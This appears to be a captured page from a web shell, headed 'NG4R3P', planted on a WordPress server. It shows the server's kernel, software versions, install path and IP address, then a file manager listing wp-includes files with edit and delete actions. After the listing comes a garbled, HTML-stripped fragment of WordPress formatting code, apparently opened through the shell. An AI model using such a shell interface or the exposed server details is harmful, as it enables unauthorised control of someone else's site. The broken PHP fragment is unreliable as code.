NG4R3P
Linux backups 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
  SOFT : Apache/2.4.18 (Ubuntu) PHP : 7.2.34-8+ubuntu16.04.1+deb.sury.org+1
/var/www/xploja/wp-includes/
138.68.56.76

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
ID3 dir drwxr-xr-x 2019-09-19 17:32 R D
IXR dir drwxr-xr-x 2019-09-19 17:32 R D
Requests dir drwxr-xr-x 2019-09-19 17:32 R D
SimplePie dir drwxr-xr-x 2019-09-19 17:32 R D
Text dir drwxr-xr-x 2019-09-19 17:32 R D
blocks dir drwxr-xr-x 2019-09-19 17:32 R D
certificates dir drwxr-xr-x 2019-09-19 17:32 R D
css dir drwxr-xr-x 2019-09-19 17:32 R D
customize dir drwxr-xr-x 2019-09-19 17:32 R D
fonts dir drwxr-xr-x 2019-09-19 17:32 R D
images dir drwxr-xr-x 2019-09-19 17:32 R D
js dir drwxr-xr-x 2019-09-19 17:32 R D
pomo dir drwxr-xr-x 2019-09-19 17:32 R D
random_compat dir drwxr-xr-x 2019-09-19 17:32 R D
rest-api dir drwxr-xr-x 2019-09-19 17:32 R D
theme-compat dir drwxr-xr-x 2019-09-19 17:32 R D
widgets dir drwxr-xr-x 2019-09-19 17:32 R D
admin-bar.php 30.257 KB -rw-r--r-- 2019-09-19 17:32 R E G D
atomlib.php 11.946 KB -rw-r--r-- 2019-09-19 17:32 R E G D
author-template.php 16.787 KB -rw-r--r-- 2019-09-19 17:32 R E G D
blocks.php 9.151 KB -rw-r--r-- 2019-09-19 17:32 R E G D
bookmark-template.php 11.953 KB -rw-r--r-- 2019-09-19 17:32 R E G D
bookmark.php 14.003 KB -rw-r--r-- 2019-09-19 17:32 R E G D
cache.php 22.078 KB -rw-r--r-- 2019-09-19 17:32 R E G D
canonical.php 28.448 KB -rw-r--r-- 2019-09-19 17:32 R E G D
capabilities.php 29.77 KB -rw-r--r-- 2019-09-19 17:32 R E G D
category-template.php 52.245 KB -rw-r--r-- 2019-09-19 17:32 R E G D
category.php 12.305 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-IXR.php 2.57 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-feed.php 0.528 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-http.php 37.265 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-json.php 40.464 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-oembed.php 31.469 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-phpass.php 7.414 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-phpmailer.php 147.289 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-pop3.php 21.075 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-requests.php 30.049 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-simplepie.php 90.192 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-smtp.php 39.711 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-snoopy.php 38.129 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-walker-category-dropdown.php 2.157 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-walker-category.php 6.856 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-walker-comment.php 12.15 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-walker-nav-menu.php 8.642 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-walker-page-dropdown.php 2.333 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-walker-page.php 7.018 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-admin-bar.php 16.674 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-ajax-response.php 5.165 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-block-parser.php 15.4 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-block-type-registry.php 4.802 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-block-type.php 4.913 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-comment-query.php 42.959 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-comment.php 9.11 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-customize-control.php 25.239 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-customize-manager.php 201.34 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-customize-nav-menus.php 54.563 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-customize-panel.php 9.794 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-customize-section.php 10.376 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-customize-setting.php 28.531 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-customize-widgets.php 66.795 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-dependency.php 2.41 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-editor.php 68.015 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-embed.php 14.872 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-error.php 5.028 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-feed-cache-transient.php 2.629 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-feed-cache.php 0.763 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-hook.php 14.271 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-cookie.php 6.682 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-curl.php 12.046 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-encoding.php 6.574 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-ixr-client.php 3.368 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-proxy.php 6.143 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-requests-hooks.php 1.906 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-requests-response.php 4.386 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-response.php 2.953 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-http-streams.php 15.483 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-image-editor-gd.php 13.221 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-image-editor-imagick.php 22.004 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-image-editor.php 11.944 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-list-util.php 6.505 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-locale-switcher.php 5.14 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-locale.php 14.638 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-matchesmapregex.php 1.849 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-meta-query.php 23.606 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-metadata-lazyloader.php 5.424 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-network-query.php 17.331 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-network.php 12.392 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-oembed-controller.php 6.096 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-post-type.php 18.472 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-post.php 6.658 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-query.php 129.125 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-rewrite.php 60.313 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-role.php 2.706 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-roles.php 8.494 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-session-tokens.php 7.543 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-simplepie-file.php 2.343 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-simplepie-sanitize-kses.php 1.789 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-site-query.php 27.56 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-site.php 7.474 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-tax-query.php 19.446 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-taxonomy.php 10.851 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-term-query.php 34.823 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-term.php 5.38 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-text-diff-renderer-inline.php 0.731 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-text-diff-renderer-table.php 16.598 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-theme.php 49.636 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-user-meta-session-tokens.php 3.05 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-user-query.php 31.362 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-user.php 21.758 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-walker.php 12.826 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-widget-factory.php 3.833 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-widget.php 18 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp-xmlrpc-server.php 209.077 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class-wp.php 24.605 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class.wp-dependencies.php 11.645 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class.wp-scripts.php 17.431 KB -rw-r--r-- 2019-09-19 17:32 R E G D
class.wp-styles.php 10.01 KB -rw-r--r-- 2019-09-19 17:32 R E G D
comment-template.php 90.171 KB -rw-r--r-- 2019-09-19 17:32 R E G D
comment.php 115.008 KB -rw-r--r-- 2019-09-19 17:32 R E G D
compat.php 16.521 KB -rw-r--r-- 2019-09-19 17:32 R E G D
cron.php 31.781 KB -rw-r--r-- 2019-09-19 17:32 R E G D
date.php 35.339 KB -rw-r--r-- 2019-09-19 17:32 R E G D
default-constants.php 10 KB -rw-r--r-- 2019-09-19 17:32 R E G D
default-filters.php 25.399 KB -rw-r--r-- 2019-09-19 17:32 R E G D
default-widgets.php 2.192 KB -rw-r--r-- 2019-09-19 17:32 R E G D
deprecated.php 114.877 KB -rw-r--r-- 2019-09-19 17:32 R E G D
embed-template.php 0.349 KB -rw-r--r-- 2019-09-19 17:32 R E G D
embed.php 45.104 KB -rw-r--r-- 2019-09-19 17:32 R E G D
feed-atom-comments.php 5.479 KB -rw-r--r-- 2019-09-19 17:32 R E G D
feed-atom.php 3.19 KB -rw-r--r-- 2019-09-19 17:32 R E G D
feed-rdf.php 2.774 KB -rw-r--r-- 2019-09-19 17:32 R E G D
feed-rss.php 1.3 KB -rw-r--r-- 2019-09-19 17:32 R E G D
feed-rss2-comments.php 4.225 KB -rw-r--r-- 2019-09-19 17:32 R E G D
feed-rss2.php 3.895 KB -rw-r--r-- 2019-09-19 17:32 R E G D
feed.php 20.003 KB -rw-r--r-- 2019-09-19 17:32 R E G D
formatting.php 282.118 KB -rw-r--r-- 2019-09-19 17:32 R E G D
functions.php 212.337 KB -rw-r--r-- 2019-09-19 17:32 R E G D
functions.wp-scripts.php 12.912 KB -rw-r--r-- 2019-09-19 17:32 R E G D
functions.wp-styles.php 8.257 KB -rw-r--r-- 2019-09-19 17:32 R E G D
general-template.php 143.874 KB -rw-r--r-- 2019-09-19 17:32 R E G D
http.php 22.648 KB -rw-r--r-- 2019-09-19 17:32 R E G D
kses.php 57.869 KB -rw-r--r-- 2019-09-19 17:32 R E G D
l10n.php 51.962 KB -rw-r--r-- 2019-09-19 17:32 R E G D
link-template.php 139.542 KB -rw-r--r-- 2019-09-19 17:32 R E G D
load.php 37.666 KB -rw-r--r-- 2019-09-19 17:32 R E G D
locale.php 0.147 KB -rw-r--r-- 2019-09-19 17:32 R E G D
media-template.php 47.606 KB -rw-r--r-- 2019-09-19 17:32 R E G D
media.php 144.717 KB -rw-r--r-- 2019-09-19 17:32 R E G D
meta.php 46.398 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-blogs.php 23.315 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-default-constants.php 4.841 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-default-filters.php 6.389 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-deprecated.php 20.111 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-files.php 2.673 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-functions.php 89.567 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-load.php 19.595 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-network.php 3.707 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-settings.php 4.157 KB -rw-r--r-- 2019-09-19 17:32 R E G D
ms-site.php 42.438 KB -rw-r--r-- 2019-09-19 17:32 R E G D
nav-menu-template.php 21.778 KB -rw-r--r-- 2019-09-19 17:32 R E G D
nav-menu.php 40.784 KB -rw-r--r-- 2019-09-19 17:32 R E G D
option.php 70.156 KB -rw-r--r-- 2019-09-19 17:32 R E G D
pluggable-deprecated.php 6.318 KB -rw-r--r-- 2019-09-19 17:32 R E G D
pluggable.php 98.479 KB -rw-r--r-- 2019-09-19 17:32 R E G D
plugin.php 32.231 KB -rw-r--r-- 2019-09-19 17:32 R E G D
post-formats.php 7.119 KB -rw-r--r-- 2019-09-19 17:32 R E G D
post-template.php 61.616 KB -rw-r--r-- 2019-09-19 17:32 R E G D
post-thumbnail-template.php 9.016 KB -rw-r--r-- 2019-09-19 17:32 R E G D
post.php 233.368 KB -rw-r--r-- 2019-09-19 17:32 R E G D
query.php 31.904 KB -rw-r--r-- 2019-09-19 17:32 R E G D
registration-functions.php 0.183 KB -rw-r--r-- 2019-09-19 17:32 R E G D
registration.php 0.183 KB -rw-r--r-- 2019-09-19 17:32 R E G D
rest-api.php 41.904 KB -rw-r--r-- 2019-09-19 17:32 R E G D
revision.php 21.833 KB -rw-r--r-- 2019-09-19 17:32 R E G D
rewrite.php 17.874 KB -rw-r--r-- 2019-09-19 17:32 R E G D
rss-functions.php 0.197 KB -rw-r--r-- 2019-09-19 17:32 R E G D
rss.php 23.596 KB -rw-r--r-- 2019-09-19 17:32 R E G D
script-loader.php 107.908 KB -rw-r--r-- 2019-09-19 17:32 R E G D
session.php 0.248 KB -rw-r--r-- 2019-09-19 17:32 R E G D
shortcodes.php 20.891 KB -rw-r--r-- 2019-09-19 17:32 R E G D
spl-autoload-compat.php 2.611 KB -rw-r--r-- 2019-09-19 17:32 R E G D
taxonomy.php 157.481 KB -rw-r--r-- 2019-09-19 17:32 R E G D
template-loader.php 2.638 KB -rw-r--r-- 2019-09-19 17:32 R E G D
template.php 20.466 KB -rw-r--r-- 2019-09-19 17:32 R E G D
theme.php 102.811 KB -rw-r--r-- 2019-09-19 17:32 R E G D
update.php 25.594 KB -rw-r--r-- 2019-09-19 17:32 R E G D
user.php 124.258 KB -rw-r--r-- 2019-09-19 17:32 R E G D
vars.php 5.736 KB -rw-r--r-- 2019-09-19 17:32 R E G D
version.php 0.816 KB -rw-r--r-- 2019-09-19 17:32 R E G D
widgets.php 57.512 KB -rw-r--r-- 2019-09-19 17:32 R E G D
wlwmanifest.xml 1.063 KB -rw-r--r-- 2019-09-19 17:32 R E G D
wp-db.php 102.697 KB -rw-r--r-- 2019-09-19 17:32 R E G D
wp-diff.php 0.667 KB -rw-r--r-- 2019-09-19 17:32 R E G D
REQUEST EXIT
', $open_sq_flag = '', $apos_flag = ''; // If there's nothing to do, just stop. if ( empty( $text ) || false === $run_texturize ) { return $text; } // Set up static variables. Run once only. if ( $reset || ! isset( $static_characters ) ) { /** * Filters whether to skip running wptexturize(). * * Passing false to the filter will effectively short-circuit wptexturize(). * returning the original text passed to the function instead. * * The filter runs only once, the first time wptexturize() is called. * * @since 4.0.0 * * @see wptexturize() * * @param bool $run_texturize Whether to short-circuit wptexturize(). */ $run_texturize = apply_filters( 'run_wptexturize', $run_texturize ); if ( false === $run_texturize ) { return $text; } /* translators: opening curly double quote */ $opening_quote = _x( '“', 'opening curly double quote' ); /* translators: closing curly double quote */ $closing_quote = _x( '”', 'closing curly double quote' ); /* translators: apostrophe, for example in 'cause or can't */ $apos = _x( '’', 'apostrophe' ); /* translators: prime, for example in 9' (nine feet) */ $prime = _x( '′', 'prime' ); /* translators: double prime, for example in 9" (nine inches) */ $double_prime = _x( '″', 'double prime' ); /* translators: opening curly single quote */ $opening_single_quote = _x( '‘', 'opening curly single quote' ); /* translators: closing curly single quote */ $closing_single_quote = _x( '’', 'closing curly single quote' ); /* translators: en dash */ $en_dash = _x( '–', 'en dash' ); /* translators: em dash */ $em_dash = _x( '—', 'em dash' ); $default_no_texturize_tags = array( 'pre', 'code', 'kbd', 'style', 'script', 'tt' ); $default_no_texturize_shortcodes = array( 'code' ); // if a plugin has provided an autocorrect array, use it if ( isset( $wp_cockneyreplace ) ) { $cockney = array_keys( $wp_cockneyreplace ); $cockneyreplace = array_values( $wp_cockneyreplace ); } else { /* translators: This is a comma-separated list of words that defy the syntax of quotations in normal use, * for example... 'We do not have enough words yet' ... is a typical quoted phrase. But when we write * lines of code 'til we have enough of 'em, then we need to insert apostrophes instead of quotes. */ $cockney = explode( ',', _x( "'tain't,'twere,'twas,'tis,'twill,'til,'bout,'nuff,'round,'cause,'em", 'Comma-separated list of words to texturize in your language' ) ); $cockneyreplace = explode( ',', _x( '’tain’t,’twere,’twas,’tis,’twill,’til,’bout,’nuff,’round,’cause,’em', 'Comma-separated list of replacement words in your language' ) ); } $static_characters = array_merge( array( '...', '``', '\'\'', ' (tm)' ), $cockney ); $static_replacements = array_merge( array( '…', $opening_quote, $closing_quote, ' ™' ), $cockneyreplace ); // Pattern-based replacements of characters. // Sort the remaining patterns into several arrays for performance tuning. $dynamic_characters = array( 'apos' => array(), 'quote' => array(), 'dash' => array(), ); $dynamic_replacements = array( 'apos' => array(), 'quote' => array(), 'dash' => array(), ); $dynamic = array(); $spaces = wp_spaces_regexp(); // '99' and '99" are ambiguous among other patterns; assume it's an abbreviated year at the end of a quotation. if ( "'" !== $apos || "'" !== $closing_single_quote ) { $dynamic[ '/\'(\d\d)\'(?=\Z|[.,:;!?)}\-\]]|>|' . $spaces . ')/' ] = $apos_flag . '$1' . $closing_single_quote; } if ( "'" !== $apos || '"' !== $closing_quote ) { $dynamic[ '/\'(\d\d)"(?=\Z|[.,:;!?)}\-\]]|>|' . $spaces . ')/' ] = $apos_flag . '$1' . $closing_quote; } // '99 '99s '99's (apostrophe) But never '9 or '99% or '999 or '99.0. if ( "'" !== $apos ) { $dynamic['/\'(?=\d\d(?:\Z|(?![%\d]|[.,]\d)))/'] = $apos_flag; } // Quoted Numbers like '0.42' if ( "'" !== $opening_single_quote && "'" !== $closing_single_quote ) { $dynamic[ '/(?<=\A|' . $spaces . ')\'(\d[.,\d]*)\'/' ] = $open_sq_flag . '$1' . $closing_single_quote; } // Single quote at start, or preceded by (, {, <, [, ", -, or spaces. if ( "'" !== $opening_single_quote ) { $dynamic[ '/(?<=\A|[([{"\-]|<|' . $spaces . ')\'/' ] = $open_sq_flag; } // Apostrophe in a word. No spaces, double apostrophes, or other punctuation. if ( "'" !== $apos ) { $dynamic[ '/(?&/\[\]\x00-\x20=]++)@', $text, $matches ); $tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] ); $found_shortcodes = ! empty( $tagnames ); $shortcode_regex = $found_shortcodes ? _get_wptexturize_shortcode_regex( $tagnames ) : ''; $regex = _get_wptexturize_split_regex( $shortcode_regex ); $textarr = preg_split( $regex, $text, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); foreach ( $textarr as &$curl ) { // Only call _wptexturize_pushpop_element if $curl is a delimiter. $first = $curl[0]; if ( '<' === $first ) { if ( ''; $quote_pattern = "/$needle(?=\\Z|[.,:;!?)}\\-\\]]|>|" . $spaces . ')/'; $prime_pattern = "/(?<=\\d)$needle/"; $flag_after_digit = "/(?<=\\d)$flag/"; $flag_no_digit = "/(? &$sentence ) { if ( false === strpos( $sentence, $needle ) ) { continue; } elseif ( 0 !== $key && 0 === substr_count( $sentence, $close_quote ) ) { $sentence = preg_replace( $quote_pattern, $flag, $sentence, -1, $count ); if ( $count > 1 ) { // This sentence appears to have multiple closing quotes. Attempt Vulcan logic. $sentence = preg_replace( $flag_no_digit, $close_quote, $sentence, -1, $count2 ); if ( 0 === $count2 ) { // Try looking for a quote followed by a period. $count2 = substr_count( $sentence, "$flag." ); if ( $count2 > 0 ) { // Assume the rightmost quote-period match is the end of quotation. $pos = strrpos( $sentence, "$flag." ); } else { // When all else fails, make the rightmost candidate a closing quote. // This is most likely to be problematic in the context of bug #18549. $pos = strrpos( $sentence, $flag ); } $sentence = substr_replace( $sentence, $close_quote, $pos, strlen( $flag ) ); } // Use conventional replacement on any remaining primes and quotes. $sentence = preg_replace( $prime_pattern, $prime, $sentence ); $sentence = preg_replace( $flag_after_digit, $prime, $sentence ); $sentence = str_replace( $flag, $close_quote, $sentence ); } elseif ( 1 == $count ) { // Found only one closing quote candidate, so give it priority over primes. $sentence = str_replace( $flag, $close_quote, $sentence ); $sentence = preg_replace( $prime_pattern, $prime, $sentence ); } else { // No closing quotes found. Just run primes pattern. $sentence = preg_replace( $prime_pattern, $prime, $sentence ); } } else { $sentence = preg_replace( $prime_pattern, $prime, $sentence ); $sentence = preg_replace( $quote_pattern, $close_quote, $sentence ); } if ( '"' == $needle && false !== strpos( $sentence, '"' ) ) { $sentence = str_replace( '"', $close_quote, $sentence ); } } return implode( $open_quote, $sentences ); } /** * Search for disabled element tags. Push element to stack on tag open and pop * on tag close. * * Assumes first char of $text is tag opening and last char is tag closing. * Assumes second char of $text is optionally '/' to indicate closing as in . * * @since 2.9.0 * @access private * * @param string $text Text to check. Must be a tag like `` or `[shortcode]`. * @param array $stack List of open tag elements. * @param array $disabled_elements The tag names to match against. Spaces are not allowed in tag names. */ function _wptexturize_pushpop_element( $text, &$stack, $disabled_elements ) { // Is it an opening tag or closing tag? if ( isset( $text[1] ) && '/' !== $text[1] ) { $opening_tag = true; $name_offset = 1; } elseif ( 0 == count( $stack ) ) { // Stack is empty. Just stop. return; } else { $opening_tag = false; $name_offset = 2; } // Parse out the tag name. $space = strpos( $text, ' ' ); if ( false === $space ) { $space = -1; } else { $space -= $name_offset; } $tag = substr( $text, $name_offset, $space ); // Handle disabled tags. if ( in_array( $tag, $disabled_elements ) ) { if ( $opening_tag ) { /* * This disables texturize until we find a closing tag of our type * (e.g.
) even if there was invalid nesting before that
			 *
			 * Example: in the case 
sadsadasd"baba"
* "baba" won't be texturize */ array_push( $stack, $tag ); } elseif ( end( $stack ) == $tag ) { array_pop( $stack ); } } } /** * Replaces double line-breaks with paragraph elements. * * A group of regex replaces used to identify text formatted with newlines and * replace double line-breaks with HTML paragraph tags. The remaining line-breaks * after conversion become <
> tags, unless $br is set to '0' or 'false'. * * @since 0.71 * * @param string $pee The text which has to be formatted. * @param bool $br Optional. If set, this will convert all remaining line-breaks * after paragraphing. Default true. * @return string Text which has been converted into correct paragraph tags. */ function wpautop( $pee, $br = true ) { $pre_tags = array(); if ( trim( $pee ) === '' ) { return ''; } // Just to make things a little easier, pad the end. $pee = $pee . "\n"; /* * Pre tags shouldn't be touched by autop. * Replace pre tags with placeholders and bring them back after autop. */ if ( strpos( $pee, '', $pee ); $last_pee = array_pop( $pee_parts ); $pee = ''; $i = 0; foreach ( $pee_parts as $pee_part ) { $start = strpos( $pee_part, ''; $pee .= substr( $pee_part, 0, $start ) . $name; $i++; } $pee .= $last_pee; } // Change multiple
s into two line breaks, which will turn into paragraphs. $pee = preg_replace( '|\s*|', "\n\n", $pee ); $allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)'; // Add a double line break above block-level opening tags. $pee = preg_replace( '!(<' . $allblocks . '[\s/>])!', "\n\n$1", $pee ); // Add a double line break below block-level closing tags. $pee = preg_replace( '!()!', "$1\n\n", $pee ); // Standardize newline characters to "\n". $pee = str_replace( array( "\r\n", "\r" ), "\n", $pee ); // Find newlines in all elements and add placeholders. $pee = wp_replace_in_html_tags( $pee, array( "\n" => ' ' ) ); // Collapse line breaks before and after ', $pee ); } /* * Collapse line breaks inside elements, before and elements * so they don't get autop'd. */ if ( strpos( $pee, '' ) !== false ) { $pee = preg_replace( '|(]*>)\s*|', '$1', $pee ); $pee = preg_replace( '|\s*|', '', $pee ); $pee = preg_replace( '%\s*(]*>)\s*%', '$1', $pee ); } /* * Collapse line breaks inside